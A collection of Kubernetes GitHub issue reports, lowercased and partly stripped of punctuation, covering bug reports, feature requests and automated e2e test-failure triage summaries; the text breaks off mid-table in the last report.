<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r \r our apps are configured with the following  strategy  in the deployment - \r \r       strategy:\r         rollingupdate:\r           maxsurge: 25%\r           maxunavailable: 25%\r         type: rollingupdate\r \r the horizonatal pod autoscaler is configured as so \r    \r       spec:\r         maxreplicas: 10\r         minreplicas: 2\r    \r when our application was redeployed, instead of running a rolling update, it instantly terminated 8 of our pods and dropped the number of pods to 2 which is the min number of replicas available. this happened in a fraction of a second as you can see here\r \r !   https://i.stack.imgur.com/v7avn.png \r \r   what you expected to happen  :\r \r as maxunavailable is 25%, shouldn't only about 2-3 pods go down at max ? why did so many pods crash at once ? it seems as though rolling update is useless if it works this way.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r output of  kubectl get hpa \r !   https://i.stack.imgur.com/ehlyv.png \r \r stackoverflow question - https://stackoverflow.com/questions/53851948/kubernetes-rolling-update-not-obeying-maxunavailable-replicas-when-redeployed\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: aws with kops\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r a single way to configure all of  kubeadm 's behaviour.\r in particular, given  ignorepreflighterrors  and  externalcfg  are currently disjoint:\r https://github.com/kubernetes/kubernetes/blob/a887ae8344adf9739c1d156a718c05fdf95b73ab/cmd/kubeadm/app/cmd/init.go l104-l106\r https://github.com/kubernetes/kubernetes/blob/a887ae8344adf9739c1d156a718c05fdf95b73ab/cmd/kubeadm/app/cmd/join.go l132-l133\r i would like a way to specify the set of strings corresponding to  --ignore-preflight-errors 's value as an \ array\  in  at least   initconfiguration  and  joinconfiguration .\r \r   why is this needed  :\r \r this would simplify programmatic usage of  kubeadm : one configuration file to generate, and then pass to  kubeadm .\r \r   potential way forward  :\r \r 1. keep  --ignore-preflight-errors  for backward-compatibility  for now .\r 2. add the following field to both  initconfiguration  and  joinconfiguration :\r \r        go\r     ignorepreflighterrors   string  json:\ ignorepreflighterrors,omitempty\  \r        \r \r 3. take the union of both sets, validate it  as currently done , and use this going in the rest of the program.\r \r   misc.  :\r \r happy to make the change myself, once i get a \ go\   or at least, no \ no-go\   from someone more knowledgeable.  maybe @luxas? 🙂

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r ability to surface klog flags so that internal k/k logs can be generated during csi unit tests using \r    \r go test -v ./pkg/volume/csi --args <klog flags>\r    \r this can be done by updating test files to automatically initialize klog flags using  klog.initflags   \r \r   why is this needed  :\r this is critical when debugging csi code to be able to generate kubernetes logs.\r \r 

when creating dashboards, it seems we're only allowed to set one single filter. it would be nice to be able to set multiple  and  filters, e.g.  app=myapp, namespace=stage .

hi, i am getting unusual timeouts with the 'loadbalancer' service type on kubernetes 1.3.3 running on gce, and i don't know where to start troubleshooting.  my environment:      kubernetes_version=1.3.3 kubernetes_provider=gce kube_gce_zone=us-central1-b node_size=n1-standard-4      cluster created via the  cluster/kube-up.sh  script.  here is some repro steps to try to illustrate what i'm seeing.  1. create two simple nginx rcs and two loadbalancer services. 2. curl the first nginx's loadbalancer ip. 3. scale replicas for the second nginx rc. 4. watch the curl command of the first nginx timeout for 2 minutes.  ---    1. create two simple nginx rcs and two loadbalancer services.      kubectl create -f - <<- eof apiversion: v1 kind: replicationcontroller metadata:   name: nginx-alpine spec:   replicas: 1   selector:     name: nginx-alpine   template:     metadata:       labels:         name: nginx-alpine     spec:       containers:       - name: nginx-alpine         image: rohan/nginx-alpine         ports:         - containerport: 80 eof kubectl create -f - <<- eof apiversion: v1 kind: replicationcontroller metadata:   name: nginx-alpine2 spec:   replicas: 1   selector:     name: nginx-alpine2   template:     metadata:       labels:         name: nginx-alpine2     spec:       containers:       - name: nginx-alpine2         image: rohan/nginx-alpine         ports:         - containerport: 80 eof kubectl create -f - <<- eof apiversion: v1 kind: service metadata:   name: nginx-alpine   labels:     app: nginx-alpine spec:   type: loadbalancer   ports:   - port: 80     protocol: tcp     name: http   selector:     name: nginx-alpine eof kubectl create -f - <<- eof apiversion: v1 kind: service metadata:   name: nginx-alpine2   labels:     app: nginx-alpine2 spec:   type: loadbalancer   ports:   - port: 80     protocol: tcp     name: http   selector:     name: nginx-alpine2 eof      ---    2. curl the first nginx's loadbalancer ip 10times/sec, ts for timestamps   while true; do /usr/bin/curl -k -i http://104.155.xxx.xxx | ts ; sleep 0.1; done   ---    3. scale replicas for the second nginx rc.  kubectl scale rc nginx-alpine2 --replicas 4  ---    4. watch the curl command of the first nginx timeout for 2 minutes.        % total    % received % xferd  average speed   time    time     time  current                                  dload  upload   total   spent    left  speed   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0   0   612    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0 jul 26 21:09:50 http/1.1 200 ok jul 26 21:09:50 server: nginx/1.6.2 jul 26 21:09:50 date: wed, 27 jul 2016 04:09:50 gmt jul 26 21:09:50 content-type: text/html jul 26 21:09:50 content-length: 612 jul 26 21:09:50 last-modified: mon, 17 nov 2014 14:48:17 gmt jul 26 21:09:50 connection: keep-alive jul 26 21:09:50 etag: \ 546a0ab1-264\  jul 26 21:09:50 accept-ranges: bytes jul 26 21:09:50    % total    % received % xferd  average speed   time    time     time  current                                  dload  upload   total   spent    left  speed   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0   0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0   0     0    0     0    0     0      0      0 --:--:--  0:00:02 --:--:--     0   0     0    0     0    0     0      0      0 --:--:--  0:00:03 --:--:--     0 ...   0     0    0     0    0     0      0      0 --:--:--  0:02:04 --:--:--     0   0     0    0     0    0     0      0      0 --:--:--  0:02:05 --:--:--     0   0     0    0     0    0     0      0      0 --:--:--  0:02:06 --:--:--     0 curl:  7  failed to connect to 104.155.142.86 port 80: connection timed out   % total    % received % xferd  average speed   time    time     time  current                                  dload  upload   total   spent    left  speed   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0   0   612    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0 jul 26 21:11:58 http/1.1 200 ok jul 26 21:11:58 server: nginx/1.6.2 jul 26 21:11:58 date: wed, 27 jul 2016 04:11:58 gmt jul 26 21:11:58 content-type: text/html jul 26 21:11:58 content-length: 612 jul 26 21:11:58 last-modified: mon, 17 nov 2014 14:48:17 gmt jul 26 21:11:58 connection: keep-alive jul 26 21:11:58 etag: \ 546a0ab1-264\  jul 26 21:11:58 accept-ranges: bytes jul 26 21:11:58       during the timeout, netstat says:  tcp        0      1 10.10.130.104:54848     104.155.xxx.xxx:80       syn_sent    17235/curl   interestingly, a gce kubernetes cluster running 1.2.5 or gke running 1.3.3 does not exhibit this timeout.  is this normal or am i doing something wrong?  i should also point out that communications to the service inside the cluster via k8s dns work perfect.

it would be great if the kubernetes api  and associated tools like  kubectl   supported some form of mfa!  i'm new to kubernetes, but my understanding is that, right now, the e.g. authentication credentials on my laptop are long-lived.  is it currently possible to configure kubernetes to allow for some form of mfa?  perhaps there's a way to obtain a short-lived authentication token which could be used to build some kind of mfa system?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-slow/8535/  failed:  k8s.io  pod disks should schedule a pod w/ a rw pd, ungracefully remove it, then schedule it on another host  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:139 expected error:     < errors.errorstring | 0xc8201d9780>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:120      previous issues for this test:  28984

we would like to make system components statuses and actions more visible to the end user, especially on environments where master logs access is more complicated. an example of such component is cluster autoscaler. where should we place events like that ca stopped because some of the instance group nodes did not registered properly and ca doesn't want to make the situation worse by adding or deleting new nodes.   i proposed kube-system namespace as a temporary solution. see https://github.com/kubernetes/contrib/pull/1937.  cc: @erictune @davidopp @fgrzadkowski

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/4081/ failed:  k8s.io  port forwarding  k8s.io  with a server listening on 0.0.0.0 should support forwarding over websockets {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/portforward.go:492 feb  5 01:21:21.058: missing \ ^accepted client connection$\  from log:  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/portforward.go:525

is this a bug report or feature request?    choose one :\r feature request\r \r ---\r \r in sig service-catalog, we have plans for controllers to create  podpreset  resources as part of their work.  currently, there is no  podpresettemplatespec  resource that would allow apis to be constructed that express requirements for a pod preset spec to be created as well as  objectmeta  fields like labels and annotations.\r \r proposed type:\r \r    go\r type podpresettemplatespec struct {\r   metav1.objectmeta\r \r   spec podpresetspec\r }\r

failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=example\r testgrid: https://k8s-testgrid.appspot.com/google-gci examples\r \r clusterdns, cassandra, cassandrastatefulset and hazelcast examples do not work\r \r \r @kubernetes/sig-apps-test-failures \r /assign @michellen @mattfarina \r

failure cluster  c73f9fad18272756b1f1  https://go.k8s.io/triage c73f9fad18272756b1f1        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:193 expected error:     < errors.errorstring | 0xc4203e3030>: {         s: \ expected pod \\\ pod-configmap-acd2e585-3df6-11e7-9e72-0242ac110009\\\  success: gave up waiting for pod 'pod-configmap-acd2e585-3df6-11e7-9e72-0242ac110009' to be 'success or failure' after 5m0s\ ,     }     expected pod \ pod-configmap-acd2e585-3df6-11e7-9e72-0242ac110009\  success: gave up waiting for pod 'pod-configmap-acd2e585-3df6-11e7-9e72-0242ac110009' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2214           failure cluster statistics: 13 tests failed,    9 jobs failed,    56 builds failed. failure stats cover 1 day time range '20 may 2017 17:55 utc' to '21 may 2017 17:55 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  etcd upgrade  feature:etcdupgrade   k8s.io  etcd upgrade should maintain a functioning cluster | 2 | |  k8s.io  configmap should be consumable in multiple volumes in the same pod  conformance   volume  | 2 | |  k8s.io  configmap should be consumable from pods in volume as non-root  conformance   volume  | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-gci-latest-rollback-etcd | 14 |  21 may 2017 17:12 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-latest-rollback-etcd/2321  | | ci-kubernetes-e2e-gce-gci-latest-upgrade-etcd | 13 |  21 may 2017 16:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-latest-upgrade-etcd/2286  | | ci-kubernetes-e2e-gke-latest-upgrade-cluster | 11 |  21 may 2017 17:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-latest-upgrade-cluster/2608  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | caesarxuchao |  k8s.io  configmap should be consumable in multiple volumes in the same pod  conformance   volume ;  k8s.io  configmap should be consumable in multiple volumes in the same pod  conformance  | | rrati |  k8s.io  configmap should be consumable from pods in volume as non-root  conformance   volume ;  k8s.io  configmap should be consumable from pods in volume with mappings  conformance   volume  | | luxas |  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  | | sig/apps |  k8s.io  configmap should be consumable in multiple volumes in the same pod  conformance   volume ;  k8s.io  configmap should be consumable from pods in volume as non-root  conformance   volume ;  k8s.io  configmap should be consumable in multiple volumes in the same pod  conformance  | | sig/cluster-lifecycle |  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade ;  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade should maintain a functioning cluster  feature:masterupgrade  |  </details><br>   current status  https://go.k8s.io/triage c73f9fad18272756b1f1

these two places should update:\r \r - build is not a valid target\r    \r build\r   add rules for all directories in cmd/\r  \r   example:\r     make kubectl kube-proxy\r    \r \r - help info is incorrect\r    \r bazel-build\r   build release tars with bazel\r  \r   example:\r   make bazel-release\r    \r \r btw,  make help  was introduced in  29683. i don't know how many contributors know this. for me, whenever i forget the detail of some target, i just run  make help  and get what i want. it would be good to document it somewhere, e.g. https://github.com/kubernetes/community/blob/master/contributors/devel/development.md\r \r  /assign\r \r

failure cluster  960bacca5efde2003985  https://go.k8s.io/triage 960bacca5efde2003985        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ serial\\ |\\ disruptive\\  --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\ : exit status 1           failure cluster statistics: 1 tests failed,    25 jobs failed,    99 builds failed. failure stats cover 1 day time range '20 jun 2017 07:04 utc' to '21 jun 2017 07:04 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 25 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-serial | 21 |  20 jun 2017 22:03 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-serial/1690  | | ci-kubernetes-e2e-gci-gke-serial | 20 |  20 jun 2017 21:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/1742  | | ci-kubernetes-e2e-gce-gci-qa-serial-master | 7 |  21 jun 2017 01:55 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-serial-master/2646  |   current status  https://go.k8s.io/triage 960bacca5efde2003985

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   /area cloudprovider \r \r   what happened  :\r \r the cloud node controller fetches the node's addresses in   addcloudnode   https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cloud/node_controller.go l313 . this logic is the exact same logic that happens in   updatenodeaddress   https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cloud/node_controller.go l160  which   addcloudnode  calls  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cloud/node_controller.go l372 . \r \r   what you expected to happen  :\r \r i expect that  getnodeaddressesbyprovideridorname  not be called twice in the same synchronous block of code. \r \r /assign\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r > \r   \r   what happened  :\r run node e2e test command in my local host:\r    \r make test-e2e-node test_args=\ --kubelet-flags=--fail-swap-on=false\  focus=\ should generate node condition and events for corresponding errors\ \r    \r error:\r    \r  k8s.io  nodeproblemdetector\r /ycj/k8s_community/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:643\r    k8s.io  systemlogmonitor\r   /ycj/k8s_community/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:643\r     should generate node condition and events for corresponding errors  it \r     /ycj/k8s_community/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/node_problem_detector_linux.go:239\r \r     failed after 1.004s.\r     expected success, but got an error:\r         < errors.errorstring | 0xc420609d00>: {\r             s: \ expect event number 0, got 3:  {{ } {szx1000380318.151ec9431f0dd009  default /api/v1/namespaces/default/events/szx1000380318.151ec9431f0dd009 77a85b47-2f31-11e8-81c3-286ed488d071 78 0 2018-03-24 15:03:34 +0800 cst <nil> <nil> map   map      nil    } {node  szx1000380318 szx1000380318   } temporary temporary error {kernel-monitor-70324be4-2f31-11e8-9bd8-286ed488d071 szx1000380318} 2018-03-24 15:03:34 +0800 cst 2018-03-24 15:03:34 +0800 cst 3 warning 0001-01-01 00:00:00 +0000 utc nil  nil  } \ ,\r         }\r         expect event number 0, got 3:  {{ } {szx1000380318.151ec9431f0dd009  default /api/v1/namespaces/default/events/szx1000380318.151ec9431f0dd009 77a85b47-2f31-11e8-81c3-286ed488d071 78 0 2018-03-24 15:03:34 +0800 cst <nil> <nil> map   map      nil    } {node  szx1000380318 szx1000380318   } temporary temporary error {kernel-monitor-70324be4-2f31-11e8-9bd8-286ed488d071 szx1000380318} 2018-03-24 15:03:34 +0800 cst 2018-03-24 15:03:34 +0800 cst 3 warning 0001-01-01 00:00:00 +0000 utc nil  nil  } \r \r     /ycj/k8s_community/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/node_problem_detector_linux.go:339\r \r    \r \r   what you expected to happen  :\r pass the case\r \r   how to reproduce it  as minimally and precisely as possible   :\r see before describe.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

user.info.extra keys can have '/' in them   we actually advertise this in the  doc  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/authentication/user/user.go l35   but header keys cannot. this is problematic because we transport those keys embeded in header keys when we use the requestheader authenticator. we have a couple options that i can think of. we can either:\r \r 1  encode extra info differently.\r 2  tighten extra info key validation.\r \r go validation here:\r https://github.com/golang/go/blob/1c69384da4fb4a1323e011941c101189247fea67/src/net/textproto/reader.go l593-l602\r \r @yliaog @seans3 @deads2k @liggitt

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  : it would be nice for kubelet to be able to accept custom dns and ip sans in  bootstrap-kubeconfig  for use when generating the csr for tls bootstrapping\r \r   why is this needed  : currently the metrics server has to be run in insecure mode if you're using tls bootstrapping\r

what happened  :\r    \r i0319 14:46:36.910486   11721 factory.go:341  creating scheduler from configuration: {{ }          0 false}\r i0319 14:46:36.910523   11721 factory.go:350  using predicates from algorithm provider 'defaultprovider'\r f0319 14:46:36.910536   11721 util.go:72  error creating scheduler: plugin \ defaultprovider\  has not been registered\r exit status 255\r fail    k8s.io/kubernetes/test/integration/scheduler_perf   3.777s\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r make test-integration what=./test/integration/scheduler_perf kube_test_vmodule=\ ''\  kube_test_args=\ -run=xxx -bench=benchmarkscheduling\ \r    \r \r   anything else we need to know?  :\r maybe this error is introduced in by one commit  i haven't yet found it .  and we need init defaultprovider when we setup scheduler in  scheduler_perf .\r \r   /assign\r /cc @bsalamat \r

i have follow this guide http://kubernetes.io/v1.1/examples/glusterfs/ and create a glusterfs cluster on 2 compuiers.  on the node1, its ok ,no issue. bug on the node2, i got a error like this      ➜  ~  kubectl logs wordpress-controller-jvnij    warning: both wordpress_db_host and mysql_port_3306_tcp found   connecting to wordpress_db_host  10.254.18.220    instead of the linked mysql container sed: couldn't open temporary file ./sedfedbar: permission denied      and i try to fix it by  mount | grep kube_vol and go into the dir. i found the privillage is same with node1. and i can execute  mkdir  commend. even i execute   chmod 777 dir  ,can't fix this problems.  is therr something wrong.

is this a request for help?  \r no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?  \r dangling replicaset\r \r ---\r \r   is this a bug report or feature request?  \r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:31:07z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+coreos.0\ , gitcommit:\ cc65f5321f9230bf9a3fa171155c1213d6e3480e\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t04:08:28z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : azure a1\r -   os    e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1235.9.0\r version_id=1235.9.0\r build_id=2017-02-02-0235\r pretty_name=\ container linux by coreos 1235.9.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r -   kernel    e.g.  uname -a  : linux node-3-vm 4.7.3-coreos-r2  1 smp thu feb 2 02:26:10 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r -   install tools  : own\r -   others  :\r \r \r   what happened  :\r \r created new deployment by altering the image tag of the deployment descriptor and using kubectl apply -f \ ds.yaml\ . noticed that one container of the previous deployment stayed there.\r \r   what you expected to happen  :\r \r all containers from the previous deployment should have been terminated.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r i cannot reliably trigger this, i do several deployments per hour and sometimes this problem manifests itself.\r \r   anything else we need to know  :\r \r    \r > kubectl get pods --namespace=tvifttt\r name                                 ready     status    restarts   age\r ...\r tviftttapp-3058473571-c0v2k          1/1       running   0          1h <------------\r tviftttapp-4232354410-c1m13          1/1       running   0          25m\r tviftttapp-4232354410-hr7b4          1/1       running   0          25m\r    \r \r    \r ✗ kubectl get rs --namespace=tvifttt\r name                           desired   current   ready     age\r ...\r tviftttapp-1055562301          0         0         0         6d\r tviftttapp-1076664945          0         0         0         4d\r tviftttapp-1162123786          0         0         0         9d\r tviftttapp-1333959179          0         0         0         9d\r tviftttapp-1334680075          0         0         0         8d\r tviftttapp-146905007           0         0         0         10d\r tviftttapp-1506515468          0         0         0         7d\r tviftttapp-1585617524          0         0         0         8d\r tviftttapp-1655740915          0         0         0         9d\r tviftttapp-1870895682          0         0         0         9d\r tviftttapp-2074515880          0         0         0         7d\r tviftttapp-208247352           0         0         0         8d\r tviftttapp-2088802728          0         0         0         10d\r tviftttapp-2154994192          0         0         0         9d\r tviftttapp-2321390097          0         0         0         9d\r tviftttapp-2343410193          0         0         0         7d\r tviftttapp-2389416336          0         0         0         6d\r tviftttapp-2421529002          0         0         0         3d\r tviftttapp-2612435423          0         0         0         9d\r tviftttapp-2656999955          0         0         0         8d\r tviftttapp-2714737223          0         0         0         3h\r tviftttapp-2782697952          0         0         0         9d\r tviftttapp-3058473571          1         1         1         1h    <--------------------\r tviftttapp-3129580002          0         0         0         9d\r tviftttapp-3322845719          0         0         0         8d\r tviftttapp-3336608305          0         0         0         8d\r tviftttapp-3338181169          0         0         0         3h\r tviftttapp-3499661874          0         0         0         7d\r tviftttapp-3560282726          0         0         0         9d\r tviftttapp-3695024691          0         0         0         2d\r tviftttapp-397973892           0         0         0         8d\r tviftttapp-4008876597          0         0         0         7d\r tviftttapp-4101544605          0         0         0         6d\r tviftttapp-4232354410          2         2         2         26m\r tviftttapp-461281746           0         0         0         7d\r tviftttapp-461478561           0         0         0         8d\r tviftttapp-732207675           0         0         0         2h\r tviftttapp-835623432           0         0         0         2d\r tviftttapp-875534908           0         0         0         7d\r    \r \r deployment descriptor:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: tviftttapp\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: tviftttapp\r         tier: frontend\r     spec:\r       containers:\r       - name: tviftttapp\r         image: xxx:ttt\r         imagepullpolicy: always\r         resources:\r           requests:\r             cpu: 100m\r             memory: 100mi\r         ports:\r         - containerport: 80\r         livenessprobe:\r           httpget:\r             path: /tv/\r             port: 80\r           initialdelayseconds: 15\r           timeoutseconds: 1\r         readinessprobe:\r           httpget:\r             path: /tv/\r             port: 80\r           timeoutseconds: 1\r       imagepullsecrets:\r       - name: brpxprivate\r   strategy:\r     rollingupdate:\r       maxunavailable: 0\r       maxsurge: 2\r   minreadyseconds: 2\r

we are using systemd files as below on coreos\r we couldn't succeed when we create from systemd to pod yaml\r \r i̇s it possible a way;\r     to get a config file from etcd\r    to use environment file\r    to create servise directory\r \r best regards\r \r    \r  unit \r description=redis service\r after=docker.service dockdns.service\r \r  service \r environmentfile=-/etc/mtx/docker.env\r environment=\ con_name=cache\ \r environment=\ data_dir=/data/${con_name}\ \r environment=\ conf_dir=/etc/mtx/${con_name}\ \r execstartpre=/bin/bash -c ' if   ! -d \ ${data_dir}\    ||   ! -d \ ${conf_dir}\   ; then mkdir -p ${data_dir} ${conf_dir}; fi '\r execstartpre=/bin/bash -c ' etcdctl get /resources/config/redis.conf > ${conf_dir}/redis.conf'\r execstartpre=-/bin/bash -c '/usr/bin/docker rm -f ${con_name}'\r execstart=/bin/bash -c '/usr/bin/docker run \\\r --name ${con_name} $dns_opts $tz\\\r -v ${data_dir}:/data\\\r -v ${conf_dir}/redis.conf:/usr/local/bin/redis.conf \\\r redis:latest redis-server /usr/local/bin/redis.conf'\r execstop=-/bin/bash -c '/usr/bin/docker rm -f ${con_name}'\r restart=always\r restartsec=30\r \r  x-fleet \r machinemetadata=\ platform=global\  \ ch=1\ \r

failure cluster  be986b1e2cf1af1a5777  https://go.k8s.io/triage be986b1e2cf1af1a5777        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1252 jun  2 07:00:41.822: timeout waiting for service \ lb-sourcerange\  to have a load balancer /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2496           failure cluster statistics: 5 tests failed,    6 jobs failed,    151 builds failed. failure stats cover 1 day time range '2 jun 2017 20:57 utc' to '3 jun 2017 20:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should only allow access from service loadbalancer source ranges  slow  | 6 | |  k8s.io  esipp  slow  should work for type=loadbalancer | 4 | |  k8s.io  esipp  slow  should handle updates to externaltrafficpolicy field | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-slow | 28 |  3 jun 2017 15:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/6729  | | ci-kubernetes-e2e-gci-gke-slow-release-1.5 | 28 |  3 jun 2017 19:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow-release-1.5/6868  | | ci-kubernetes-e2e-gke-slow-release-1.5 | 26 |  3 jun 2017 14:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow-release-1.5/6530  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | madhusudancs |  k8s.io  services should only allow access from service loadbalancer source ranges  slow  | | mrhohn |  k8s.io  esipp  slow  should work for type=loadbalancer;  k8s.io  esipp  slow  should only target nodes with endpoints;  k8s.io  esipp  slow  should work from pods | | sig/network |  k8s.io  services should only allow access from service loadbalancer source ranges  slow ;  k8s.io  esipp  slow  should work for type=loadbalancer;  k8s.io  esipp  slow  should only target nodes with endpoints |  </details><br>   current status  https://go.k8s.io/triage be986b1e2cf1af1a5777

failure cluster  1fb2bacd1b1f35178bd6  https://go.k8s.io/triage 1fb2bacd1b1f35178bd6        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:142 expected error:     < errors.errorstring | 0xc4200d5200>: {         s: \ incorrect target tags  gke-bootstrap-e2e-b0c71c8c-node , expected  k8s-bootstrap-e2e-node : found differences: map gke-bootstrap-e2e-b0c71c8c-node:{} \ ,     }     incorrect target tags  gke-bootstrap-e2e-b0c71c8c-node , expected  k8s-bootstrap-e2e-node : found differences: map gke-bootstrap-e2e-b0c71c8c-node:{}  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:131           failure cluster statistics: 1 tests failed,    3 jobs failed,    73 builds failed. failure stats cover 1 day time range '26 jun 2017 23:52 utc' to '27 jun 2017 23:52 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  loadbalancing: l7  k8s.io  gce  slow   feature:ingress  should create ingress with given static-ip | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-ingress | 37 |  27 jun 2017 22:53 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress/10507  | | ci-kubernetes-e2e-gke-ingress | 33 |  27 jun 2017 23:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-ingress/10453  | | ci-kubernetes-e2e-ubuntu-gke-ingress | 3 |  27 jun 2017 12:53 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke-ingress/1008  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | eparis |  